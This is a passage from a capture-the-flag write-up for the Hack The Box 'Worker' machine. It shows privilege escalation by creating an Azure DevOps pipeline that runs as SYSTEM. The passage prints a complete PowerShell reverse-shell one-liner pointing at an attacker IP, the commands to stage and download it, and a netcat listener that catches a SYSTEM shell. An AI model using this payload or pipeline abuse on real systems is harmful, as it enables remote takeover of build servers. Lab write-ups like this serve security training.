Access** Now in order to continue we need to login as the robisl user onto the Azure DevOps git page (make sure to go to http://devops.worker.htb/, the ROOT of the subbdomain, and not the other repository we were on previously): ![](prg/60_022.png) And then we see that we have access to a new repository called **PartsUnlimited** : ![](prg/60_023.png) So the difference here is that first of all there are no pipelines: ![](prg/60_024.png) However the robisl user is able to create a new pipeline, and therefore we should be able to use this new pipeline to execute a reverse shell as nt authority/system, so let's create that pipeline: ![](prg/60_025.png) ![](prg/60_026.png) ![](prg/60_027.png) ![](prg/60_028.png) ![](prg/60_029.png) [terminal 1] [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → cat Invoke-PowerShellTcpOneLine.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → mv Invoke-PowerShellTcpOneLine.ps1 shell.ps1 [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] → python3 -m http.server 9090 [terminal 2] [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] → nc -lvnp 9001 listening on [any] 9001 ... [terminal 3] *Evil-WinRM* PS C:\Users\robisl\Desktop> cd C:\temp *Evil-WinRM* PS C:\temp> dir Directory: C:\temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 6/27/2021 4:25 PM 59392 nc.exe *Evil-WinRM* PS C:\temp> iwr -uri http://10.10.14.11:9090/shell.ps1 -O shell.ps1 *Evil-WinRM* PS C:\temp> type shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() Now that the powershell script is in place as well as the reverse shell netcat listener on port 9001, let's run it: ![](prg/60_030.png) Click save and queue: ![](prg/60_031.png) ![](prg/60_032.png) ![](prg/60_033.png) And now we know that our script has been successfully executed: [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] → nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51960 PS W:\agents\agent11\_work\9\s> whoami nt authority\system And we got a reverse shell connection as nt authority\system! Now let's get the root flag (also do it quickly because the reverse shell dies after 1 minute): PS W:\agents\agent11\_work\9\s> cd C:\users\administrator\desktop PS C:\users\administrator\desktop> type root.txt 43XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ## **Conclusion** Here we can see the progress graph : ![](img/60_graph.png)